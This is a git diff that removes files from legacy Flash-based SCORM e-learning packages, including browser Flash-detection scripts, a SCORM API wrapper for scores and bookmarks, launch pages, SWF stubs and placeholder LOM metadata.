-      + '<BR>any desired alternate html code goes here';
-
-    document.write(alternateContent);  // insert non-flash content
-  }
-}
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0001/js/fpi-writevb.js b/Explore/elr/Other/O0001/js/fpi-writevb.js
deleted file mode 100755
index 2bdd8b3..0000000
--- a/Explore/elr/Other/O0001/js/fpi-writevb.js
+++ /dev/null
@@ -1,23 +0,0 @@
-// Check the browser...we're looking for ie/win, but not aol
-var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;    // true if we're on ie
-var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; // true if we're on windows
-
-
-// This is a js1.1 code block, so make note that js1.1 is supported.
-jsVersion = 1.1;
-
-// Write vbscript detection on ie win. IE on Windows doesn't support regular
-// JavaScript plugins array detection.
-if(isIE && isWin){
-  document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n');
-  document.write('on error resume next \n');
-  document.write('flash2Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.2"))) \n');
-  document.write('flash3Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.3"))) \n');
-  document.write('flash4Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.4"))) \n');
-  document.write('flash5Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.5"))) \n');  
-  document.write('flash6Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.6"))) \n');  
-  document.write('flash7Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.7"))) \n');
-  document.write('flash8Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.8"))) \n');
-  document.write('flash9Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.9"))) \n');
-  document.write('<\/SCR' + 'IPT\> \n'); // break up end tag so it doesn't end our script
-}
diff --git a/Explore/elr/Other/O0001/js/scorm_api.js b/Explore/elr/Other/O0001/js/scorm_api.js
deleted file mode 100755
index 7d4e2ba..0000000
--- a/Explore/elr/Other/O0001/js/scorm_api.js
+++ /dev/null
@@ -1,276 +0,0 @@
-var findAPITries=1;
-var API = null;
-var	timerID = null
-var	timerRunning = false
-var	startDate
-var	startSecs
-var timeValue
-var lessonStatus=false;
-var Bookmark_location="undefined";
-var SetMasteryScore=80;
-var LMSStatus;
-//-----------------------------------------------------------------------
-function FindAPI(win)
-{
-   while ((win.API == null) && (win.parent != null) && (win.parent != win))
-   {
-      findAPITries++;
-      // Note: 7 is an arbitrary number, but should be more than sufficient
-      if (findAPITries > 7) 
-      {
-        parent.status = "Error finding API -- too deeply nested.";
-         return null;
-      }
-      
-      win = win.parent;
-
-   }
-   return win.API;
-}
-//-----------------------------------------------------------------------
-function GetAPI()
-{
-
-   var API = FindAPI(window);
-   if ((API == null) && (window.opener != null) && (typeof(window.opener) != "undefined"))
-   {
-      API = FindAPI(window.opener);
-   }
-   if (API == null)
-   {
-     parent.status = "Unable to find an API adapter";
-   }
-
-   return API
-}
-//-----------------------------------------------------------------------
-function initSco()
-
-{
-		API = GetAPI();
-		if( API != null )
-		{
-			var ret;
-			var code;
-			var diag;
-			API.LMSInitialize("");
-			startclock();
-			
-			set_val("cmi.core.score.max",100);
-			set_val("cmi.core.score.min",0);
-
-			var status = get_val("cmi.core.lesson_status")
-			if (status == "not attempted")
-			{
-			  // the student is now attempting the lesson
-			  set_val("cmi.core.lesson_status","incomplete");
-			}
-				
-			tempPage=get_val("cmi.core.lesson_location")
-			//alert("tempPage "+tempPage);
-			//alert("lesson_status "+get_val("cmi.core.lesson_status"));
-			var tmp = tempPage.split("^");			
-			//if(tempPage != ""){
-			if(Number(tmp[0])>=0){
-			//alert("tempPage "+tempPage)
-			//tempPage=Number(tempPage)
-				Bookmark_location=tempPage;			
-			}
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );	
-		}
-	
-}
-function set_val( gname,gvalue )
-{
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret;
-		var code;
-		var diag;		
-
-		API.LMSSetValue( gname, gvalue );		
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function get_val( gname )
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-	
-	var ret1,ret2;
-		var code;
-		var diag;
-				
-		ret1 = API.LMSGetValue( gname );		
-		code = API.LMSGetLastError();
-		ret2 = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );
-	//alert ("inside "+gname+ " "+ret1)
-	return ret1;		
-		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function commit()
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret = "";
-		var code;
-		var diag;
-		
-		API.LMSCommit("");
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function finish()
-{
-//if(callUnload == true){	
-	//alert(lessonStatus);
-		API = GetAPI();
-			
-		if( API != null )
-		{
-		
-			var ret;
-			var code;
-			var diag;
-			
-			//alert("parent.next "+parent.nextCount)
-			//alert("Bookmark_location in finish: "+Bookmark_location);
-			set_val("cmi.core.lesson_location",Bookmark_location);
-			//alert(get_val("cmi.core.lesson_location"))
-			sTime=stopclock();
-			sTime=String(sTime)
-			set_val("cmi.core.session_time",sTime);
-			//if(lessonStatus){
-				
-			 //set_val("cmi.core.lesson_status","completed");
-			//}
-			commit();
-			ret = API.LMSFinish("");
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );
-
-		}
-//	}
-	
-};
-
-function stopclock()
-{
-
-	if(timerRunning){
-		clearTimeout(timerID)
-		timerRunning = false
-		return timeValue
-}
-}
-//-----------------------------------------------------------------------
-function startclock()
-{
-
-	startDate = new Date()
-	startSecs = (startDate.getHours()*60*60) + (startDate.getMinutes()*60) 
-						+ startDate.getSeconds()
-
-	stopclock()
-		showtime()
-	
-}
-//-----------------------------------------------------------------------
-function showtime()
-{
-	// this doesn't work correctly at midnight...
-
-	var now = new Date()
-	var nowSecs = (now.getHours()*60*60) + (now.getMinutes()*60) + now.getSeconds()
-	var elapsedSecs = nowSecs - startSecs;
-
-	var hours = Math.floor( elapsedSecs / 3600 )
-	elapsedSecs = elapsedSecs - (hours*3600)
-
-	var minutes = 	Math.floor( elapsedSecs / 60 )
-	elapsedSecs = elapsedSecs - (minutes*60)
-
-	var seconds = elapsedSecs
-
-	timeValue = "" + hours
-		if(hours<10){
-		timeValue = "0" + hours
-	}
-	timeValue  += ((minutes < 10) ? ":0" : ":") + minutes
-	timeValue  += ((seconds < 10) ? ":0" : ":") + seconds
-
-		// Update display
-	timerID = setTimeout("showtime()",1000)
-	timerRunning = true
-}
-
-function fnGetBookMark()
-
-{
-
-return Bookmark_location
-
-}
-
-function set_location(setbookmark)
-{
-Bookmark_location=setbookmark;
-set_val("cmi.core.lesson_location",Bookmark_location);
-commit();
-//alert("Bookmark_location: "+Bookmark_location);
-}
-
-function fnSetLastPage(lastpge) {
-
-lessonStatus= lastpge
-
-}
-function sendScore(score) {	
-	//var stat = (score >= SetMasteryScore? "passed" : "failed");
-	var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	commit();
-	//alert("score: "+score);
-}
-function fnGetData() {
-	//var LMSStatus = get_val("cmi.core.lesson_status");
-	return Bookmark_location;
-}
-function setScore(score, bookmark) {	
-	var stat = (score >= SetMasteryScore? "passed" : "failed");
-	//var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-function setCompletion(lStatus, bookmark) {	
-	set_val("cmi.core.lesson_status", lStatus);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0001/launch.html b/Explore/elr/Other/O0001/launch.html
deleted file mode 100755
index 44fb4da..0000000
--- a/Explore/elr/Other/O0001/launch.html
+++ /dev/null
@@ -1,28 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript">
-<!--
-	function fnShowPopup(htmlfile){
-		w=700;
-		h=541;
-		 var wo= window.open("media/"+htmlfile,"_blank","width="+w+", height="+h+",scrollbars=no,resizable=no,status=no, left=" + (window.screen.width-w)/2 +", top="+(window.screen.height-h)/2);
-		wo.focus();
-
-	}
-	function fnGetData(){
-		return(window.opener.fnGetData());
-	}
-	function finish(){
-		window.opener.close();
-	}
-//-->
-</script>
-</head>
-<script language="javascript">
-		document.write("<HTML><HEAD><meta http-equiv=Content-Type content=text/html;  charset=ISO-8859-1\"><TITLE>Key Boarding</TITLE>");
-		document.write("</HEAD><BODY scroll=no leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\" onUnLoad=\"finish()\" ><table height=\"100%\" width=\"100%\"><tr><td align=\"center\" valign=\"middle\"><OBJECT classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"codebase=\"https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\" WIDTH=\"800\" HEIGHT=\"600\" id=\"myFlash\" ALIGN=\"\"> <PARAM NAME=movie VALUE=\"efk_shell.swf?BookMark_data="+fnGetData()+"\"> <PARAM NAME=quality VALUE=high> <PARAM NAME=menu VALUE=false> <PARAM NAME=loop VALUE=false><PARAM NAME=bgcolor VALUE=#FFFFFF> <EMBED src=\"efk_shell.swf?BookMark_data="+fnGetData()+"\" quality=high bgcolor=#FFFFFF  WIDTH=\"800\" HEIGHT=\"600\" NAME=\"myFlash\" ALIGN=\"\" TYPE=\"application/x-shockwave-flash\" PLUGINSPAGE=\"https://www.macromedia.com/go/getflashplayer\"></EMBED></OBJECT></td></tr></table></BODY></HTML>");
- </script>
-</html>
diff --git a/Explore/elr/Other/O0001/media/intro/Menu.swf b/Explore/elr/Other/O0001/media/intro/Menu.swf
deleted file mode 100755
index 397922f..0000000
--- a/Explore/elr/Other/O0001/media/intro/Menu.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/intro/Warning.swf b/Explore/elr/Other/O0001/media/intro/Warning.swf
deleted file mode 100755
index e7c7748..0000000
--- a/Explore/elr/Other/O0001/media/intro/Warning.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/intro/navigation.swf b/Explore/elr/Other/O0001/media/intro/navigation.swf
deleted file mode 100755
index 5321b01..0000000
--- a/Explore/elr/Other/O0001/media/intro/navigation.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/intro/sign_in.swf b/Explore/elr/Other/O0001/media/intro/sign_in.swf
deleted file mode 100755
index f9aa8bb..0000000
--- a/Explore/elr/Other/O0001/media/intro/sign_in.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/Certificate_HIV_02.swf b/Explore/elr/Other/O0001/media/lesson_00/Certificate_HIV_02.swf
deleted file mode 100755
index 663199f..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/Certificate_HIV_02.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/Macromedia Flash 8.lnk b/Explore/elr/Other/O0001/media/lesson_00/Macromedia Flash 8.lnk
deleted file mode 100755
index 157e522..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/Macromedia Flash 8.lnk
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg01.swf b/Explore/elr/Other/O0001/media/lesson_00/pg01.swf
deleted file mode 100755
index 4a75ae0..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg01.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg02.swf b/Explore/elr/Other/O0001/media/lesson_00/pg02.swf
deleted file mode 100755
index 24cff46..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg02.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg03_04.swf b/Explore/elr/Other/O0001/media/lesson_00/pg03_04.swf
deleted file mode 100755
index b84c18b..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg03_04.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg05.swf b/Explore/elr/Other/O0001/media/lesson_00/pg05.swf
deleted file mode 100755
index 7cb51d3..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg05.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg05_a.swf b/Explore/elr/Other/O0001/media/lesson_00/pg05_a.swf
deleted file mode 100755
index 2ea8f46..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg05_a.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg06.swf b/Explore/elr/Other/O0001/media/lesson_00/pg06.swf
deleted file mode 100755
index cb3c52f..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg06.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg06a.swf b/Explore/elr/Other/O0001/media/lesson_00/pg06a.swf
deleted file mode 100755
index 34126f6..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg06a.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg07_08.swf b/Explore/elr/Other/O0001/media/lesson_00/pg07_08.swf
deleted file mode 100755
index 1658651..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg07_08.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg09_10_11.swf b/Explore/elr/Other/O0001/media/lesson_00/pg09_10_11.swf
deleted file mode 100755
index 347e09d..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg09_10_11.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg12.html b/Explore/elr/Other/O0001/media/lesson_00/pg12.html
deleted file mode 100755
index 2537728..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg12.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>pg12</title>
-</head>
-<body bgcolor="#ffffff">
-<!--url's used in the movie-->
-<!--text used in the movie-->
-<!-- saved from url=(0013)about:internet -->
-<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="800" height="600" id="pg12" align="middle">
-<param name="allowScriptAccess" value="sameDomain" />
-<param name="movie" value="pg12.swf" /><param name="quality" value="high" /><param name="bgcolor" value="#ffffff" /><embed src="pg12.swf" quality="high" bgcolor="#ffffff" width="800" height="600" name="pg12" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
-</object>
-</body>
-</html>
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg12.swf b/Explore/elr/Other/O0001/media/lesson_00/pg12.swf
deleted file mode 100755
index 79f370b..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg12.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg13.swf b/Explore/elr/Other/O0001/media/lesson_00/pg13.swf
deleted file mode 100755
index 8690570..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg13.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg14_15.html b/Explore/elr/Other/O0001/media/lesson_00/pg14_15.html
deleted file mode 100755
index 2312537..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg14_15.html
+++ /dev/null
@@ -1,18 +0,0 @@
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>pg14_15</title>
-</head>
-<body bgcolor="#ffffff">
-<!--url's used in the movie-->
-<!--text used in the movie-->
-<!--
-1
--->
-<!-- saved from url=(0013)about:internet -->
-<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="800" height="600" id="pg14_15" align="middle">
-<param name="allowScriptAccess" value="sameDomain" />
-<param name="movie" value="pg14_15.swf" /><param name="quality" value="high" /><param name="bgcolor" value="#ffffff" /><embed src="pg14_15.swf" quality="high" bgcolor="#ffffff" width="800" height="600" name="pg14_15" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
-</object>
-</body>
-</html>
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg14_15.swf b/Explore/elr/Other/O0001/media/lesson_00/pg14_15.swf
deleted file mode 100755
index f53796a..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg14_15.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/lesson_00/pg16.swf b/Explore/elr/Other/O0001/media/lesson_00/pg16.swf
deleted file mode 100755
index 50b8350..0000000
--- a/Explore/elr/Other/O0001/media/lesson_00/pg16.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/media/pg01.swf b/Explore/elr/Other/O0001/media/pg01.swf
deleted file mode 100755
index f6eed50..0000000
--- a/Explore/elr/Other/O0001/media/pg01.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/metadata.xml b/Explore/elr/Other/O0001/metadata.xml
deleted file mode 100755
index c249e02..0000000
--- a/Explore/elr/Other/O0001/metadata.xml
+++ /dev/null
@@ -1,155 +0,0 @@
-<?xml version="1.0"?>
-<lom xmlns="http://www.imsglobal.org/xsd/imsmd_rootv1p2p1"
-     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-     xsi:schemaLocation="http://www.imsglobal.org/xsd/imsmd_rootv1p2p1 imsmd_rootv1p2p1.xsd">
-   <general>
-      <title>
-         <langstring>AAAAAAAAAAAA</langstring>
-      </title>
-      <catalogentry>
-         <catalog>AAAAAAAAAA</catalog>
-         <entry>
-            <langstring>1000-02-02</langstring>
-         </entry>
-      </catalogentry>
-      <language>en</language>
-      <description>
-         <langstring>AAAAAAAAAAAA</langstring>
-      </description>
-      <keyword>
-         <langstring>AAAAAAAAAAAAAAAAA</langstring>
-      </keyword>
-      <aggregationlevel>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">1</langstring>
-         </value>
-      </aggregationlevel>
-   </general>
-   <lifecycle>
-      <version>
-         <langstring>1.1</langstring>
-      </version>
-      <status>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">Final</langstring>
-         </value>
-      </status>
-      <contribute>
-         <role>
-            <source>
-               <langstring xml:lang="x-none">LOMv1.0</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Author</langstring>
-            </value>
-         </role>
-         <centity>
-            <vcard>BEGIN:vCard ORG:ADL Co-Lab END:vCard</vcard>
-         </centity>
-         <date>
-            <datetime>2003-01-30</datetime>
-         </date>
-      </contribute>
-   </lifecycle>
-   
-   <metametadata>
-      <metadatascheme>ADL SCORM 1.2</metadatascheme>
-   </metametadata>
-   
-   <technical>
-      <format>Flash/HTML</format>
-      <size>11111111</size>
-      <location>default.html</location>
-      <requirement>
-         <type>
-            <source>
-               <langstring xml:lang="x-none">LOMv1.0</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Browser</langstring>
-            </value>
-         </type>
-         <name>
-            <source>
-               <langstring xml:lang="x-none">LOMv1.0</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Microsoft Internet Explorer</langstring>
-            </value>
-         </name>
-      <minimumversion>5.0</minimumversion>
-      </requirement>
-      
-      <requirement>
-         <type>          
-            <source>
-               <langstring xml:lang="x-none">ADL</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Browser Plug-in</langstring>
-            </value>
-         </type>
-         <name>         
-            <source>
-               <langstring xml:lang="x-none">ADL</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Flash Plug-in</langstring>
-            </value>
-         </name>
-      </requirement>
-   </technical>
-   <educational>
-      <learningresourcetype>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">Narrative Text</langstring>
-         </value>
-      </learningresourcetype>
-      <typicallearningtime>
-         <datetime>0000-00-00T00:02:00</datetime>
-      </typicallearningtime>
-   </educational>
-   <rights>
-      <cost>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">no</langstring>
-         </value>
-      </cost>
-      <copyrightandotherrestrictions>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">no</langstring>
-         </value>
-      </copyrightandotherrestrictions>
-   </rights>
-   <classification>
-      <purpose>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">Educational Objective</langstring>
-         </value>
-      </purpose>
-      <description>
-         <langstring>AAAAAAAAA</langstring>
-      </description>
-  <keyword>
-         <langstring>AAAAAAAAA</langstring>
-      </keyword>
-   </classification>
-</lom>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0002/EndScreen_V4.html b/Explore/elr/Other/O0002/EndScreen_V4.html
deleted file mode 100755
index 403992e..0000000
--- a/Explore/elr/Other/O0002/EndScreen_V4.html
+++ /dev/null
@@ -1,21 +0,0 @@
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>Malaria No More: Buzzz</title>
-<script>
-function fnCloseWindow()
-{
-	window.open("http://www.malarianomore.org/donate.php","","scrollbars=yes,resizable=yes, status=yes, menubar=yes,left=0, top=0, width=1024, height=768");
-	window.close();
-}
-</script>
-
-</head>
-
-<body bgcolor="#ffffff" topmargin=0 leftmargin=0>
-<!--url's used in the movie-->
-<!--text used in the movie-->
-<!-- saved from url=(0013)about:internet -->
-<script src="embedEndScreen.js"></script>
-</body>
-</html>
diff --git a/Explore/elr/Other/O0002/EndScreen_V4.swf b/Explore/elr/Other/O0002/EndScreen_V4.swf
deleted file mode 100755
index 0e978f3..0000000
--- a/Explore/elr/Other/O0002/EndScreen_V4.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0002/Interactiv_Tour_v1.swf b/Explore/elr/Other/O0002/Interactiv_Tour_v1.swf
deleted file mode 100755
index 8d6cc7d..0000000
--- a/Explore/elr/Other/O0002/Interactiv_Tour_v1.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0002/Intro_Anim_final.swf b/Explore/elr/Other/O0002/Intro_Anim_final.swf
deleted file mode 100755
index 241ea2f..0000000
--- a/Explore/elr/Other/O0002/Intro_Anim_final.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0002/Malaria_No_More.html b/Explore/elr/Other/O0002/Malaria_No_More.html
deleted file mode 100755
index 588b8b0..0000000
--- a/Explore/elr/Other/O0002/Malaria_No_More.html
+++ /dev/null
@@ -1,147 +0,0 @@
-<!-- saved from url=(0013)about:internet -->
-<html lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>Malaria No More: Buzzz</title>
-<script language="JavaScript" type="text/javascript">
-<!--
-// -----------------------------------------------------------------------------
-// Globals
-// Major version of Flash required
-var requiredMajorVersion = 8;
-// Minor version of Flash required
-var requiredMinorVersion = 0;
-// Revision of Flash required
-var requiredRevision = 0;
-// the version of javascript supported
-var jsVersion = 1.0;
-var hasRightVersion;
-// -----------------------------------------------------------------------------
-// -->
-</script>
-<script language="VBScript" type="text/vbscript">
-<!-- // Visual basic helper required to detect Flash Player ActiveX control version information
-Function VBGetSwfVer(i)
-  on error resume next
-  Dim swControl, swVersion
-  swVersion = 0
-  
-  set swControl = CreateObject("ShockwaveFlash.ShockwaveFlash." + CStr(i))
-  if (IsObject(swControl)) then
-    swVersion = swControl.GetVariable("$version")
-  end if
-  VBGetSwfVer = swVersion
-End Function
-// -->
-</script>
-<script language="JavaScript1.1" type="text/javascript">
-<!-- // Detect Client Browser type
-var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
-var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
-var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;
-jsVersion = 1.1;
-// JavaScript helper required to detect Flash Player PlugIn version information
-function JSGetSwfVer(i){
-	// NS/Opera version >= 3 check for Flash plugin in plugin array
-	if (navigator.plugins != null && navigator.plugins.length > 0) {
-		if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
-			var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
-      		var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
-			descArray = flashDescription.split(" ");
-			tempArrayMajor = descArray[2].split(".");
-			versionMajor = tempArrayMajor[0];
-			versionMinor = tempArrayMajor[1];
-			if ( descArray[3] != "" ) {
-				tempArrayMinor = descArray[3].split("r");
-			} else {
-				tempArrayMinor = descArray[4].split("r");
-			}
-      		versionRevision = tempArrayMinor[1] > 0 ? tempArrayMinor[1] : 0;
-            flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
-      	} else {
-			flashVer = -1;
-		}
-	}
-	// MSN/WebTV 2.6 supports Flash 4
-	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
-	// WebTV 2.5 supports Flash 3
-	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
-	// older WebTV supports Flash 2
-	else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
-	// Can't detect in all other cases
-	else {
-		
-		flashVer = -1;
-	}
-	return flashVer;
-} 
-// If called with no parameters this function returns a floating point value 
-// which should be the version of the Flash Player or 0.0 
-// ex: Flash Player 7r14 returns 7.14
-// If called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
-function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision) 
-{
- 	reqVer = parseFloat(reqMajorVer + "." + reqRevision);
-   	// loop backwards through the versions until we find the newest version	
-	for (i=25;i>0;i--) {	
-		if (isIE && isWin && !isOpera) {
-			versionStr = VBGetSwfVer(i);
-		} else {
-			versionStr = JSGetSwfVer(i);		
-		}
-		if (versionStr == -1 ) { 
-			return false;
-		} else if (versionStr != 0) {
-			if(isIE && isWin && !isOpera) {
-				tempArray         = versionStr.split(" ");
-				tempString        = tempArray[1];
-				versionArray      = tempString .split(",");				
-			} else {
-				versionArray      = versionStr.split(".");
-			}
-			versionMajor      = versionArray[0];
-			versionMinor      = versionArray[1];
-			versionRevision   = versionArray[2];
-			
-			versionString     = versionMajor + "." + versionRevision;   // 7.0r24 == 7.24
-			versionNum        = parseFloat(versionString);
-        	// is the major.revision >= requested major.revision AND the minor version >= requested minor
-			if ( (versionMajor > reqMajorVer) && (versionNum >= reqVer) ) {
-				return true;
-			} else {
-				return ((versionNum >= reqVer && versionMinor >= reqMinorVer) ? true : false );	
-			}
-		}
-	}	
-	return (reqVer ? false : 0.0);
-}
-
-function OpenEndScreen()
-{
-	var wo=window.open("EndScreen_V4.html","EndScreen_V4","scrollbars=no,resizable=no, status=no, menubar=no,left=0, top=0, width=1024, height=768");
-	wo.focus();
-}
-
-hasRightVersion = DetectFlashVer(requiredMajorVersion, requiredMinorVersion, requiredRevision);
-// -->
-
-function fnCloseWindow()
-{
-	window.open("http://www.malarianomore.org/donate.php","","scrollbars=yes,resizable=yes, status=yes, menubar=yes,left=0, top=0, width=1024, height=768");
-	window.close()
-}
-
-</script>
-</head>
-<body bgcolor="#ffffff" topmargin="0" leftmargin="0">
-<!--url's used in the movie-->
-<!--text used in the movie-->
-		<script src="embedSwf.js"></script>
-<noscript>
-	// Provide alternate content for browsers that do not support scripting
-	// or for those that have scripting disabled.
-  	Alternate HTML content should be placed here. This content requires the Macromedia Flash Player.
-  	<a href="http://www.macromedia.com/go/getflash/">Get Flash</a>  	
-</noscript>
-</body>
-</html>
diff --git a/Explore/elr/Other/O0002/Malaria_No_More_V02.swf b/Explore/elr/Other/O0002/Malaria_No_More_V02.swf
deleted file mode 100755
index 1b902b9..0000000
--- a/Explore/elr/Other/O0002/Malaria_No_More_V02.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0002/OST/English Text.xls b/Explore/elr/Other/O0002/OST/English Text.xls
deleted file mode 100755
index a9e8ebd..0000000
--- a/Explore/elr/Other/O0002/OST/English Text.xls
+++ /dev/null
diff --git a/Explore/elr/Other/O0002/Start_Page.swf b/Explore/elr/Other/O0002/Start_Page.swf
deleted file mode 100755
index 49a8b43..0000000
